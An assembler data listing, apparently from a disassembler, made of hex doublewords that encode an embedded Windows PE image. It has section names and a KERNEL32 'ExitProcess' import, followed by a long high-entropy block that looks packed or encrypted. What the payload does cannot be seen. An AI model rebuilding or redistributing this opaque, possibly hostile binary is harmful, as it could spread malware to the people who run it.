		dd 83F10700h, 0ED9043D8h, 2 dup(0ED90438Bh), 0B098C08Bh
		dd 0ED90408Bh, 0EC90438Bh, 0ED90428Bh, 0ED90438Bh, 0ED90428Bh
		dd 0B79C468Bh, 0ED90428Bh, 6369528Bh, 0ED904368h, 8Bh
		dd 3 dup(0)
		dd 455000h, 3014C00h, 1E138600h, 43h, 0
		dd 0F00E000h, 7010B01h,	0Ah, 0A60000h, 4C0000h,	113CF00h
		dd 2 dup(100000h), 80000000h, 100009h, 20000h, 400h, 0
		dd 400h, 0
		dd 1200000h, 40000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 2 dup(0)
		dd 600800h, 2800h, 14h dup(0)
		dd 600000h, 800h, 6 dup(0)
		dd 73622E00h, 73h, 4A1C00h, 100000h, 5 dup(0)
		dd 8000h, 64722EC0h, 617461h, 5400h, 600000h, 20000h, 40000h
		dd 3 dup(0)
		dd 4000h, 61642E40h, 6174h, 0A3FE00h, 700000h, 0A40000h
		dd 60000h, 3 dup(0)
		dd 4004000h, 0C0h, 71h dup(0)
		dd 603800h, 0
		dd 603000h, 2 dup(0)
		dd 604600h, 600000h, 5 dup(0)
		dd 603800h, 0
		dd 4500AF00h, 50746978h, 65636F72h, 4B007373h, 454E5245h
		dd 2E32334Ch, 6C6C64h, 6Bh dup(0)
		dd 3D9A5100h, 0B25D970Ch, 82526279h, 15DEDEB6h,	8F16940Fh
		dd 6F38FDA7h, 0BE874E4Eh, 0E7AB59F5h, 0B403F46Ch, 0E051F69Bh
		dd 5D072C80h, 0A0D3782Ch, 6D1F2AB3h, 6D36FFC8h,	0E59023CFh
		dd 0EB5CA055h, 892EC36Ch, 5FD1E88h, 0CA01E074h,	71B4BBFCh
		dd 73673A28h, 3FDD00B0h, 8662CFBCh, 39D39CEEh, 0A5893E9Dh
		dd 2A0B7090h, 0DFF8B881h, 6D2C4FB9h, 0C398A6F3h, 0FAB92544h
		dd 4D5173D9h, 14F06253h, 58A3AB46h, 96EE500h, 183ED66Fh
		dd 0F8C18A2Bh, 4ECE662Fh, 0F0630AA0h, 6019B169h, 8B8F2EEAh
		dd 0EAAED7E4h, 0CEC7DC9h, 0AC17B091h, 0DAEA1EE7h, 8783A63h
		dd 531CE5ACh, 983BFDBAh, 76484468h, 2114E6CFh, 0CEC64A9Dh
		dd 743DD032h, 6CC377A2h, 4796B288h, 0A5E5B5FEh,	2DF562Ah
		dd 91F411E1h, 80BB1798h, 0C3ECBD14h, 0E7A06DF3h, 3C8C551Eh
		dd 0F9829ECh, 0B37CD14Fh, 0E75821EAh, 6F2F788Dh, 327FCBF1h
		dd 67C69801h, 642DF6AFh, 1BD49D5Dh, 6FCE00D2h, 0D2A4CDA6h
		dd 73CA564Ch, 0D111E1CAh, 735C7DDEh, 0DFF0E1AAh, 0D6642DF6h
		dd 0AD772045h, 89561FE8h, 9236FFC8h, 0FF10D95Ch, 0DBA46D36h
		dd 0F7804912h, 0D39C652Eh, 0AF78410Ah, 8B541DE6h, 6730F9C2h
		dd 430CD59Eh, 1FE8B17Ah, 0FBC48D56h, 0D7A06932h, 0B37C450Eh
		dd 9E5922EBh, 611291CAh, 0E60E8A2Ch, 40A0FA7h, 26D871ECh
		dd 0E580B99Ch, 4CF6812Fh, 3BA349A8h, 9653F99Ch,	391886ADh
		dd 4AAB6C02h, 19260FA8h, 52C80D97h, 0EE41ED8Ch,	0CAA76428h
		dd 0EEB78049h, 99935C25h, 4A246C8Eh, 53E9FA10h,	3CF0E329h
		dd 0DB0CC2h, 0E73A21ECh, 431C5785h, 1229B411h, 73324EAh
		dd 8840A396h, 0B3A7B05Eh, 1AD12A1Ah, 0F63B2CE2h, 845A2D9Eh
		dd 0E2BFA866h, 0BD4E11F2h, 9A56814Fh, 16B8AB60h, 0BA4D66B4h
		dd 25CFD846h, 0EE2235DBh, 0F4055EFCh, 0D6697A90h, 60BFC0BAh
		dd 4E81D278h, 6D5AE12h,	0A43F28E6h, 4FD17C16h, 3FE4FF1Dh
		dd 1BE4AD76h, 0F7C08952h, 0D39C652Eh, 0FF78410Ah, 6CE9B273h
		dd 0C915D8A2h, 21E44C1Bh, 0FDC68F58h, 39A26B34h, 0CF4D29F0h
		dd 0BD763907h, 3902CB54h, 25EEB760h, 521BE20Ch,	9F6831F9h
		dd 0ECB57CA6h, 29F2BB43h, 15DE9760h, 1CA935Ch, 0DBA8713Ah
		dd 0BF88511Ah, 9F642DF6h, 7B440DD6h, 5720E9B2h,	450ED79Eh
		dd 25EEB778h, 2CA935Ch,	0E0A9723Bh, 0CC955E17h,	0B8814A13h
		dd 0A46D36EFh, 905922CBh, 7C35FEC7h, 0FC21EAB3h, 603CA52h
		dd 521BE4ADh, 2B5821E9h, 10D9A26Bh, 0ECB57E47h,	0C8915A23h
		dd 0A46D36FFh, 804912DBh, 5C25EEB7h, 0D801CA93h, 5E1FE62Eh
		dd 3A03CC95h, 16DFA871h, 0F2BB844Dh, 0CE976029h, 0AA733C05h
		dd 864F18E1h, 622BF4BDh, 3E07D099h, 1AE3AC75h, 0F6BF8851h
		dd 0D29B642Dh, 0AE774009h, 8A531CE5h, 662FF8C1h, 420BD49Dh
		dd 1EE7B079h, 0FAC38C55h, 0D69F6831h, 0B27B440Dh, 8E5720E9h
		dd 3F33FCC5h, 733C25A6h, 4F18E1AAh, 7C450CD6h, 6831FAA3h
		dd 440DD69Fh, 24EDB67Fh, 0C9925Bh, 0DCA56E37h, 38814A13h
		dd 0A13DA66Fh, 0FEA75FD0h, 0DAA36C35h, 0C68F5801h, 3CC959Dh
		dd 0E1AA7338h, 0C18A531Ch, 9D662FF8h, 79420BD4h, 151EE7B0h
		dd 64FA03CCh, 3CE11CEDh, 18E1AA73h, 945D26EFh, 9AA73BBh
		dd 3F08D19Ah, 21EAB370h, 0FDC68F58h, 0D9A26B34h, 957E4710h
		dd 351A430Ch, 0D8BD8825h, 0D13A8B1Ah, 0B3238178h, 11D402CAh
		dd 6608CA71h, 68C94AF7h, 0E15930DCh, 0A82E9101h, 8F868D8h
		dd 601AB481h, 977E02C7h, 0B554FD43h, 3EE16AE1h,	9A318155h
		dd 0A9AC46FAh, 0E99A04AFh, 56E2962Ch, 20EB58BDh, 19B4866Bh
		dd 37AEA922h, 17E25BB8h, 89533AA8h, 33E89A2Bh, 0B340ED83h
		dd 8B6BE152h, 8F86822h,	0E3432397h, 0CC0A8373h,	9D2DEF64h
		dd 3CD31EE7h, 0C221282Fh, 0A24CE771h, 3ADE6411h, 0B360E59Eh
		dd 894E33F8h, 70E78B21h, 5A3308B0h, 4C89049Fh, 8F740FA5h
		dd 8841C253h, 0C469EC96h, 42F1A852h, 0CA671BB0h, 8280610Ch
		dd 0D862CCDh, 0B5590C08h, 52C76F0Fh, 18B254C1h,	6525DF70h
		dd 8F44D7BCh, 6B34FDC6h, 4710D9A2h, 23ECB57Eh, 0FFC8915Ah
		dd 0DBA46D36h, 0B7804912h, 935C25EEh, 6F3801CAh, 4B14DDA6h
		dd 27F0B982h, 3CC955Eh,	0DFA8713Ah, 0BB844D16h,	976029F2h
		dd 733C05CEh, 4F18E1AAh, 2BF4BD86h, 7D09962h, 0E3AC753Eh
		dd 0BF88511Ah, 9B642DF6h, 774009D2h, 531CE5AEh,	2FF8C18Ah
		dd 0BD49D66h, 0E7B07942h, 0C38C551Eh, 9F6831FAh, 7B440DD6h
		dd 5720E9B2h, 33FCC58Eh, 0FD8A16Ah, 0EBB47D46h,	0C7905922h
		dd 0A36C35FEh, 7F4811DAh, 5B24EDB6h, 3700C992h,	13DCA56Eh
		dd 0EFB8814Ah, 0CB945D26h, 0A7703902h, 834C15DEh, 5F28F1BAh
		dd 3B04CD96h, 17E0A972h, 0F3BC854Eh, 0CF98612Ah, 0AB743D06h
		dd 875019E2h, 632CF5BEh, 3F08D19Ah, 0E7E4AD76h,	0A41DE42Eh
		dd 814A131Bh, 5D26EFB8h, 3902CB94h, 3DDEA770h, 83440D15h
		dd 0B07940CAh, 8C551EE7h, 6831FAC3h, 720DD69Fh,	408148D0h
		dd 0EDB67F87h, 0C9925B24h, 0A56E3700h, 0C34A13DCh, 0F9CA939Bh
		dd 36FFC650h, 12DBA46Dh, 0EEB78049h, 9A935C25h,	0A021E830h
		dd 8D561FE7h, 6932FBC4h, 450ED7A0h, 7DEAB37Ch, 43844DD5h
		dd 0F0B9808Ah, 0CC955E27h, 0A8713A03h, 0E24D16DFh, 0D0F1B840h
		dd 5D26EF37h, 3902CB94h, 15DEA770h, 83BA834Ch, 596A33FBh
		dd 0D69F66B0h, 0B27B440Dh, 8E5720E9h, 1433FCC5h, 0DEEFB67Eh
		dd 5B24ED35h, 3700C992h, 13DCA56Eh, 63B8814Ah, 41824BD3h
		dd 0EEB77E88h, 0CA935C25h, 0A66F3801h, 1A4B14DDh, 0A021E830h
		dd 8D561FE7h, 6932FBC4h, 450ED7A0h, 21EAB37Ch, 0FDC68F58h
		dd 0D1A26B34h, 9E8B179h, 733C050Dh, 2418E1AAh, 0BE58FF94h
		dd 0C3B6291Bh, 33FC8136h, 0AB4BED6Ah, 42E9B106h, 0DA8803CBh
		dd 7E02CB12h, 0F7AE27D2h, 822FB741h, 12A06EE5h,	68ECB578h
		dd 6AE473E0h, 2FAA1DE7h, 47C86D02h, 8E12E07Eh, 8D08E315h
		dd 0E92ACF6Ch, 1C8B1620h, 659F1F96h, 45EA07F2h,	8EA66FA0h
		dd 0A92EA32Fh, 0C415E05Bh, 0D781B257h, 35AE6432h, 7F1CB15Eh
		dd 0BA3FBEB6h, 4F2F462Eh, 45EA8FA8h, 5FD854CCh,	43DE58DFh
		dd 29CE638Ch, 0ECF76E8h, 972ED869h, 42F700E7h, 0B5AB74BDh
		dd 0CA3CC823h, 0A055E251h, 0F5491203h, 7315B95Eh, 0BA849ACh
		dd 1BE4AD66h, 72C08952h, 0CC11E3A0h, 7E713A03h,	0BD854CD4h
		dd 98622BF4h, 773F08D1h, 9F1CE5AEh, 8D26EF37h, 0BF34FD05h
		dd 0E3460F17h, 6F7C45EEh, 0CD965FA7h, 5EFB5804h, 1B14B9h
		dd 632CE9AEh, 3708D19Ah, 23ECB57Eh, 0FFC8915Ah,	0DBA46D36h
		dd 0B7804912h, 935C25EEh, 6F3801CAh, 0CB14DDA6h, 4E18917Eh
		dd 541C4888h, 7A9BC48Dh, 561FE8B1h, 0B0B48A0Eh,	0EA1DA532h
		dd 85BBF0A6h, 145A58E7h, 0F6BF8851h, 951A642Dh,	0A77039E1h
		dd 8FAE0735h, 380845C0h, 30E8FA3Ah, 0C5EFA4F6h,	7B49D9EEh
		dd 6FC7B6C0h, 4A14DDA6h, 0F446E058h, 89BE155Fh,	8A132BB9h
		dd 0D6FCA240h, 13C0022Ah, 65BDF2E1h, 0A29CBD67h, 0D75D7832h
		dd 0AD94D07Ch, 0E762296Ch, 4100289Dh, 4A8A0698h, 0F446E058h
		dd 89BE155Fh, 83132BB9h, 47E1594Bh, 0A1165EF5h,	1034B688h
		dd 0DD53C80h, 0BD7B27C5h, 278CA473h, 6AB23012h,	7A20C20Ah
		dd 46849454h, 3F706791h, 1E23E5E7h, 3DC50E96h, 0F42A5874h
		dd 0B6022AC2h, 0BA0B4DEBh, 2E4DDA8Dh, 0D19FDC67h, 4967DB53h
		dd 22586805h, 0C3E1C0ECh
		dd 3A7AB3E8h, 5BA42F71h, 951B5D13h, 61AC0854h, 6177BFD7h
		dd 76AC9C5Dh, 93A1AB40h, 99EE825Eh, 0C18A531Ch,	763FFB41h
		dd 0A4A26EADh, 57DF2C4Dh, 1EEACBF9h, 2173A090h,	534206Bh
		dd 0F839185Ah, 0E30EE7EEh, 2C8534E6h, 2CA56D88h, 7C82C48Ah
		dd 266D7CBCh, 4208B204h, 58CE038Ah, 0E135C452h,	0D952DBB4h
		dd 447E4811h, 28E5EBB1h, 0D99203A0h, 0C2ED4811h, 0C4CD000Eh
		dd 0CBEB7A8Fh, 2FE54BFBh, 40D553D1h, 0DB52ACD0h, 567295E0h
		dd 5F875849h, 1DD79796h, 0AC08D1DBh, 2F60F7B3h,	0C8BA0785h
		dd 101ED2A1h, 9578D5DCh, 46DE6C2Ch, 905A149Eh, 0BD444E4Bh
		dd 72BC3D64h, 27915B5Bh, 696D230Ch, 1098A740h, 5192185Ah
		dd 0CFA64C67h, 1F15A4CFh, 78819E9h, 0C48F4FCFh,	0E425875h
		dd 0AE6139C9h, 864ECC8Ch, 23CAD0BFh, 448E915Ah,	0C92A0E7Dh
		dd 5B450DD6h, 773586AEh, 0EEC77775h, 0F7BF7693h, 0D0A46D2Dh
		dd 0CC95471Eh, 0A10ADDF5h, 0F938AD67h, 0E8A0743Dh, 588E84D2h
		dd 0C820295Dh, 0D30B73C7h, 69220BB4h, 2060128Bh, 0EAFB37Eh
		dd 6834EDCFh, 5305A254h, 5EF74855h, 0F23B25D7h,	0C105A0D6h
		dd 1A840128h, 0F2604B01h, 0BC2253EBh, 8E4A0C75h, 2F659B47h
		dd 0F792ADB9h, 0CDBB4F9Bh, 721AA5A9h, 0E18A08C2h, 28ED2344h
		dd 83CB645Dh, 0B0E6F8C7h, 9A1420C1h, 890E9415h,	38478B09h
		dd 31B53FBDh, 7A487E44h, 0C40AF3BAh, 30BF3AB6h,	6EA22AB6h
		dd 5FD5EEB6h, 9952C337h, 0BB3FC9FFh, 9638138h, 7473F03Dh
		dd 77D087A3h, 2CC5498Eh, 8A1EE453h, 158EF4A3h, 2E0AB2A3h
		dd 0F8F1EE98h, 3A7044EBh, 0A5772EF9h, 7FF4CCD4h, 0D88A33D8h
		dd 0BBFD9622h, 53ED3977h, 5C59A360h, 0C79C376Ch, 4371435Dh
		dd 0AC7C045h, 0CDAF38BEh, 20B40F28h, 0E4BD21B2h, 78388D0Ah
		dd 0C092B6F1h, 139720D0h, 830B11E0h, 7A54BE4h, 0D379E86Dh
		dd 0F3352B10h, 3166769Dh, 8236C16Fh, 18E84FE6h,	343CE222h
		dd 49865DEh, 0C63F5A88h, 0A41FF66Dh, 905C95E9h,	801FB05h
		dd 0B1641258h, 0DE5EFF6Bh, 14B59F05h, 0FF80591Ah, 93A5834Dh
		dd 0E151128Fh, 3FA90F28h, 0F5ECD0A5h, 0C01EC872h, 15FDD6A7h
		dd 0C2751ADBh, 754C5051h, 9C993FD3h, 58CB81A4h,	28E8B2ABh
		dd 2C0063B7h, 0C2C06919h, 713FA040h, 9B8C7CC7h,	9A034140h
		dd 41100CF1h, 0B1F75558h, 17592AB4h, 50DF97CDh,	106CAAB0h
		dd 7AFB6608h, 7223EEB7h, 72801EA8h, 2BF74Dh, 2137EAC3h
		dd 8B4B6FF4h, 0E685826Eh, 3E167FCFh, 0D1F5390Bh, 85D65F3Eh
		dd 0D08BB7A3h, 310A44C4h, 5615ECCAh, 0D62AF062h, 4A13CDB8h
		dd 0CB6A108Eh, 74821E3Dh, 9F1C67BEh, 378081AEh,	0B10C6376h
		dd 3441FD86h, 621226FDh, 36284E99h, 0D29842EFh,	0C17CC118h
		dd 0A38B1C20h, 5EE829E1h, 0B235050Bh, 0DD54522Dh, 0D83EFA7Dh
		dd 72BBC5B6h, 572A27FDh, 76C09CB8h, 3199E6DAh, 5DDD1727h
		dd 0B003AD9Dh, 3526E194h, 0B9A27B6Ch, 0B2466A3Eh, 0A8CE14A3h
		dd 98716984h, 1E8401F6h, 568F0E4Ch, 0DC1EB486h,	12B8C79h
		dd 0D575BE5Bh, 40C66794h, 8D31D099h, 66C720D3h,	807F4889h
		dd 5AA54B23h, 42996D6Ah, 0F66805ADh, 83A9B97Ch,	177AB6EEh
		dd 0B579FD75h, 0EAD862CCh, 1E3B458Ah, 0D71C2BF5h, 7817C005h
		dd 0CAD410B9h, 4BA7854Bh, 625E2DD0h, 0EF6EB685h, 76AFE869h
		dd 59199FADh, 40818E66h, 13CD2668h, 66248BEBh, 0ED84F0CBh
		dd 0A7E7023Ah, 1DC14709h, 9E53A042h, 72B120DEh,	0BAC6C21h
		dd 0BBEFC5F0h, 0B0DEE488h, 5AF59C9Dh, 0C2DCA1CAh, 1AC51F1h
		dd 17867F1Eh, 0B8144FC5h, 0E5520D2Fh, 0CB240744h, 3D1C4146h
		dd 828192h, 0BE6CA294h,	0E9104573h, 359ABFC3h, 6150779Ah
		dd 80B02E1h, 531076B7h,	5B694A0h, 4387BDEFh, 3BC60A35h
		dd 492C568Bh, 0C9156FC3h, 56E5F9F1h, 0B7E2DD69h, 0C72B2F9Ch
		dd 0EF151386h, 0A5928BF5h, 1E7B625Fh, 0E5D1D227h, 0CF46260Bh
		dd 0F406D6FDh, 32E61090h, 0B57FB6D5h, 0C325627Eh, 0DA103088h
		dd 6FE8463Ch, 1E95595Ch, 23A9FCD7h, 0FD59587Bh,	2C8EFDBFh
		dd 92C8FC4Fh, 35F7065Ch, 4C77FFE9h, 0A38AE9CEh,	1496EDE3h
		dd 0DAD2ED8Bh, 6B3ABB7Bh, 69B3DACBh, 86C25CDh, 0D1CF053Bh
		dd 0C56CB05Dh, 2C944BFFh, 3ADD2CCBh, 19999B07h,	0BD1D1D57h
		dd 0E6F5A204h, 2F4B0DBBh, 0B05AB254h, 0ABEC2E4Bh, 0F7B7E223h
		dd 6886D2B8h, 0C16D0E52h, 6655D7C8h, 29ACE43Bh,	26BF236Ah
		dd 93477FFEh, 7A9758B1h, 401F0091h, 698E1C97h, 783D4439h
		dd 0E647169Eh, 1660E6D2h, 0C63E834Bh, 8B7AEA95h, 64536200h
		dd 0C06D9E45h, 6584CD8h, 0D790EA00h, 66C3913Dh,	7AF823B7h
		dd 8D386B39h, 0A6C70F8Eh, 7180A9EDh, 0C2F74D4Bh, 0E0D5DD78h
		dd 62F1DEDEh, 936F99A9h, 0C14AC558h, 0ACC7F975h, 72EB7098h
		dd 35793CFFh, 0B8D29B8Bh, 0F2FED50Eh, 35D462D1h, 0D6101099h
		dd 0CA08AEF4h, 9E18AB63h, 0F233BE51h, 654C3AEh,	0EC36B288h
		dd 38601F4Bh, 0E4403C78h, 6120F34Dh, 0E4C918CFh, 9488CFC4h
		dd 0BD26ABF3h, 0B566CF15h, 7879B977h, 4B7650DBh, 0B871B81Ch
		dd 0BFC6E0CAh, 49299462h, 0C1BF12CDh, 7ABF6C9Bh, 5BF03B32h
		dd 0A38288CEh, 0C24262h, 0E1D23379h, 7CB2E848h,	7EEA3446h
		dd 0AF84AD8Fh, 0BF42CECEh, 746EC7Dh, 30C8C2Fh, 4C8192D2h
		dd 5FE10C2h, 0E71DABE9h, 60220F95h, 0A0D98F77h,	5C75C62Bh
		dd 7B7D79A7h, 0DFF1FFB7h, 808D44A4h, 94BD2FDBh,	15FF87C4h
		dd 46038DB4h, 2A5207C6h, 1F98B767h, 36567729h, 131E10FDh
		dd 0DAE131F6h, 91A96819h, 0DED2470h, 13D99B64h,	3A707069h
		dd 0AB6AFAFFh, 0C46D468Dh, 21F38C31h, 3EB4020Ah, 0CF3279BFh
		dd 0A772A708h, 3BDF782Bh, 0CE6BCE95h, 0D6E7ED29h, 0D2F63FE2h
		dd 0A6993AB3h, 33C461E7h, 4EA0D6B2h, 0E3984847h, 0D52DF221h
		dd 0A979C797h, 3CE996B7h, 4C02A083h, 7CC2487Eh,	0FD6133D5h
		dd 6F19BF58h, 41F25EB2h, 0A369DD26h, 0ED1BEB7Dh, 742D2AB7h
		dd 4275E9A8h, 7AB0BBF7h, 0C36F08C4h, 0E6463536h, 9A5202A2h
		dd 1C141DB6h, 0D7FB51DBh, 30F92685h, 0A2321F14h, 0D2BB470Fh
		dd 2AFC9C34h, 0D2674573h, 0EC09F54Ch, 0F554E50Dh, 0F12B721h
		dd 9DAB4FE5h, 111C58DDh, 0FA1B9994h, 6B676531h,	0A999A3D1h
		dd 0A4AB44C1h, 0B81DEE52h, 0C48E01D3h, 0B95FA44Dh, 5D7A239Dh
		dd 6BCD56EAh, 856BF6F2h, 87D28F4Dh, 0F84D8267h,	5A903438h
		dd 0AE611EB5h, 0A65DF504h, 35623414h, 0AB71E692h, 7FA1730Ch
		dd 0CB1BEFB4h, 4B61A7DDh, 66FF4FD5h, 3E8188Ah, 0B4A043B8h
		dd 2A21A567h, 0FC5B957h, 4EBC6F27h, 19E279C2h, 0F543F92Fh
		dd 20D423EFh, 2DAF37DDh, 2E34C39Ah, 4BE50C07h, 72F71F87h
		dd 54BE3992h, 0C2F8CE32h, 8C5CF073h, 0D1403015h, 7BFA6429h
		dd 2BAF2EECh, 2436C586h, 45290724h, 928643E3h, 0EDA7DA78h
		dd 0E609FF4Eh, 0C489334Ch, 0A3AE8B4Ch, 0BFBF8635h, 0E962F65Dh
		dd 0D6813117h, 262E34F7h, 72C2AD11h, 0BC43B85Ah, 25D85916h
		dd 655DEFD9h, 58E66833h, 45D855A7h, 3E02A1B4h, 62D5461Eh
		dd 28D118CAh, 0E3480410h, 4B79AA5Ch, 5A0A0115h,	2A926DE5h
		dd 42223CD2h, 0A6A42CD6h, 0AF6E8D41h, 640C3CBBh, 0BAF0A481h
		dd 8930232Ah, 49E149D4h, 19827810h, 503794E6h, 8BB965C9h
		dd 1E4010FEh, 880F0126h, 0A338C067h, 8D443D1h, 7199EEEEh
		dd 61846A81h, 2C851B90h, 0AEEAC640h, 0B05E85FCh, 82343CB3h
		dd 1CE241D0h, 0D610774Eh
		dd 607BA700h, 67DD07F8h, 6ECAFF35h, 0E0863FD3h,	8837A837h
		dd 3EC803E3h, 0CC15CC5Eh, 35269568h, 4D84B8C7h,	338F18D7h
		dd 8534E681h, 0ABAD21F2h, 0BA370B4h, 0E32B3B53h, 7F17BA67h
		dd 9A4166DBh, 0BB9BFEC6h, 8820169Fh, 5151700h, 40FAB050h
		dd 0F9371630h, 0BE02F8B9h, 0F54F34CAh, 18038B44h, 0F5ACDBCFh
		dd 0D8418444h, 5D318050h, 55A6678Ch, 0A9AC1B2h,	673ADCB8h
		dd 0F53F59D5h, 0DAC34E2Fh, 380A284Ah, 0CBDA4A2Bh, 4E8302CEh
		dd 0D674A28Ah, 60D6D5C6h, 1E0D9FB5h, 353E917h, 998F11C5h
		dd 0D9835326h, 4F04FC7Ah, 96032A8Dh, 52764DB1h,	0FF14D9E8h
		dd 6D2CDC4Eh, 9979FD0Fh, 8412E75Fh, 0ED6E12CAh,	0C625A20Ch
		dd 6ECE3262h, 926E8170h, 373F2B34h, 28D656DCh, 59FF5DFCh
		dd 2937ED23h, 0F94A9266h, 0B961FB5Eh, 3F24E10h,	219551A4h
		dd 833AB023h, 5F1FBBB9h, 0CBF4AAD9h, 85739795h,	1046B567h
		dd 0F162DE60h, 0CCD766Ah, 0C434DB6Dh, 87D6AC72h, 0ED2040A9h
		dd 0C256D11Fh, 0CA60D146h, 8A242D3h, 27BCBC5Ch,	6356DCADh
		dd 37D07446h, 6AFE61ABh, 3BD01A8Eh, 81502911h, 0E3A823E4h
		dd 98FFF2C1h, 865D8E9Fh, 0AD288A1Ch, 671DDF20h,	0FD733FB5h
		dd 8160866Ch, 0C935C329h, 0EAAA3747h, 0BD7F86FEh, 23BA3EB3h
		dd 179C8044h, 0EE671D71h, 0D255DF52h, 0CF850502h, 9CB11E8Bh
		dd 0B38F5DD6h, 0A6C26CB0h, 6040C36Ah, 0B4FD70ECh, 81B329FAh
		dd 0CC4A2F19h, 4D8C4F75h, 0EB394BABh, 5BA785F9h, 53D159D8h
		dd 52A6B6DEh, 0CF9D3956h, 0B63E835Bh, 4FE6BB20h, 275707EBh
		dd 75A33A10h, 0E57EF3C3h, 0E325569Ch, 827DCC9h,	0DE52A49Bh
		dd 48D81295h, 678264C2h, 51C6C7Bh, 0AC346BAh, 4CD05D2Bh
		dd 1A560129h, 0BCB9C9D7h, 6C2ED28Ch, 0FF2BAEA6h, 0C1AC343Bh
		dd 0AF173FD7h, 9443A136h, 65787228h, 0AB3DC344h, 0B0E6DEBDh
		dd 0AF5AC643h, 48A01FFEh, 49E96FB2h, 288E8330h,	9A2A8D23h
		dd 5E8024EFh, 0A3177515h, 7E448F1h, 610F2A0Ah, 3608BDCBh
		dd 1D27267h, 0F1EF19FFh, 827280E8h, 924EB46Eh, 5507E4AEh
		dd 0FC699A45h, 121FCAFCh, 22EF9D22h, 7AD38495h,	1112E77Dh
		dd 39E280C7h, 859F5D19h, 0F6F11EC7h, 0BB3951F7h, 0B252301Ch
		dd 4BFA6608h, 0B15E3FE4h, 0F919105Ch, 36C3D183h, 72DA37FBh
		dd 0A52A6EB0h, 1D3FC2D0h, 35CB8A5Eh, 7C9C135Ch,	50FA55FDh
		dd 0C53FAF33h, 400C5CE5h, 3D9B319Ch, 74EE921Bh,	0E3AB61F0h
		dd 5184EFE5h, 45D941CAh, 5CD55B1Dh, 0C871F8AAh,	0BE009F69h
		dd 0BB3A4CA8h, 7427B827h, 769F09FCh, 60EB2C9Ch,	279D76F8h
		dd 0A3D90FA5h, 1BF823DEh, 0E85A44A9h, 0FB50CA73h, 0F569FF5Eh
		dd 0B01E9077h, 0F081B790h, 853B87B3h, 749F56CFh, 44A631D5h
		dd 2EDE12ECh, 608762FFh, 0F0360EA3h, 0D67AACA4h, 903CDC09h
		dd 5B063EDBh, 87916DF8h, 0A17B27D9h, 92858313h,	0BB43FE4Bh
		dd 0FB50D336h, 840F8166h, 0A93FD592h, 325BDD6h,	0EB511ECDh
		dd 0E958F478h, 510FAF37h, 70D81FF3h, 65AD35F2h,	0E3794F73h
		dd 0DA01F952h, 0B80BE07Ch, 0C7B0B120h, 0BC2E9609h, 901002BCh
		dd 4A25575Dh, 0AAC335FBh, 6B9FF0F5h, 8F5A38C9h,	0A1D8661Fh
		dd 2E97241Dh, 0EA7E3DF8h, 7033AD8h, 0BF5E3CF9h,	3041C3EDh
		dd 0F89A0E12h, 0FC6B6456h, 5A2DF705h, 0E7AA56E2h, 444EE401h
		dd 7FC5E6D4h, 0E698489Dh, 22F3BD6Fh, 6FE51D0Eh,	0D28697A1h
		dd 37A60839h, 4A351D89h, 0A799E7ACh, 0E71BEF61h, 0A1569789h
		dd 4463511Ch, 213AC766h, 0F751FF04h, 0C89A6036h, 0E263A51Ah
		dd 6619692Ch, 0AEAE8EBBh, 221ED162h, 9FD65B8Ch,	61D64ABDh
		dd 334D1A84h, 25F76FFBh, 0F98A7214h, 3527CE34h,	5FF926C0h
		dd 0B65C3997h, 0B3B2E8E2h, 0E22AB125h, 3BA0822Fh, 9035EBC0h
		dd 3E39E084h, 10E89091h, 0A8A04C17h, 5FDC760Ch,	98A1170Eh
		dd 0CA56328Ch, 0C2963031h, 38FA0370h, 3F4FBA5Fh, 7E174B4h
		dd 5C56E54Eh, 0CC961596h, 86F70969h, 93D323B6h,	0DF91003Bh
		dd 52EF0E4Ah, 9F6B4DBCh, 0F150DE8Eh, 0F6FDB152h, 0C9A9DFA6h
		dd 2A397470h, 0EC51C06Ah, 0B8F8087Fh, 96D86C88h, 30D962E6h
		dd 105D03F1h, 2EFDC802h, 56956FF5h, 76110022h, 14F8BAFFh
		dd 207B6C92h, 0C31A02A5h, 8A175E3Dh, 7725E343h,	0A225ACC7h
		dd 0B3B22850h, 579E8F70h, 9DBBCD89h, 6F2094FFh,	24F54BECh
		dd 132B2A46h, 0A110883h, 0A59906BAh, 5414EC33h,	0B356FD3Ah
		dd 5FF9F7F6h, 81AF88A3h, 0B06E52ECh, 4F91721Bh,	7ABA26C0h
		dd 19232C3h, 0FE75597Dh, 58FF426Bh, 0A300DCB4h,	958F476Ah
		dd 7EB45DA7h, 5ED6116h,	0F100FA1Ah, 871D15DBh, 0B414503Fh
		dd 3B0F00FFh, 2BF53B3Ch, 35F876FEh, 0C868FD4Ah,	0CC25EE98h
		dd 50CDB592h, 812936DFh, 0B133D32Ch, 684485BDh,	6E06AAB6h
		dd 0A4AF26C3h, 6DD45954h, 0E07C998h, 0A4B314BCh, 3D9B93ECh
		dd 340BB790h, 5D078C48h, 40B04659h, 1C32C07Ch, 0ECA09EFFh
		dd 20DD5105h, 0FE7A527Eh, 8BD43070h, 0F0950639h, 6B4B5FD5h
		dd 0A40168CFh, 819837E1h, 6929339Fh, 801EAABh, 0C770C9AAh
		dd 87E6AD9h, 0EE47F75Eh, 952FA543h, 78C3ACF1h, 14D678F9h
		dd 0C89F8C40h, 0D9B950Bh, 9A227FDAh, 43986DD0h,	9335C57Ah
		dd 345C118Eh, 6CCEB47Fh, 6ED93CCCh, 3123B92h, 7B1CB618h
		dd 4ABCC6B3h, 42525680h, 3C31EDA8h, 62D7BE9Ch, 0BBD6D5ABh
		dd 0E697BF97h, 0A829F903h, 0DF9E6898h, 0E39D54D6h, 69FA30Bh
		dd 3D2EBD9Fh, 0D647E568h, 24EDC80Fh, 4AF2A86h, 0B49CC68Ah
		dd 0BFEF9B18h, 0EB46E8ACh, 0E64DAAA8h, 6A74416h, 3C8F74EFh
		dd 129B455Ah, 57A26169h, 41C307F6h, 40D57BA6h, 0B1B202E1h
		dd 0E416518Ah, 28B39047h, 97550C7h, 0F234B10Dh,	0F656E470h
		dd 26DA044Dh, 0E6A34444h, 2A3156C0h, 714FDB0h, 42628020h
		dd 70041E9Bh, 0E35ACD73h, 95145DFEh, 0CB2C0B0Ch, 29F9BD2Bh
		dd 33E7648Ch, 0B9428A02h, 0B9945B6Fh, 0E59BA751h, 0F297DF6Bh
		dd 8CE18335h, 0A417330h, 31FA39B1h, 7C173E0Bh, 0AE587307h
		dd 38E1F7B9h, 75DB7DC9h, 0F0ACA59h, 0E315E543h,	6255A951h
		dd 0AD511266h, 0FECC6416h, 0BC04E24Dh, 0ADE74DCBh, 0A57CAE30h
		dd 31978732h, 0C39886B2h, 71848003h, 0CDBBA63Bh, 3664A31Dh
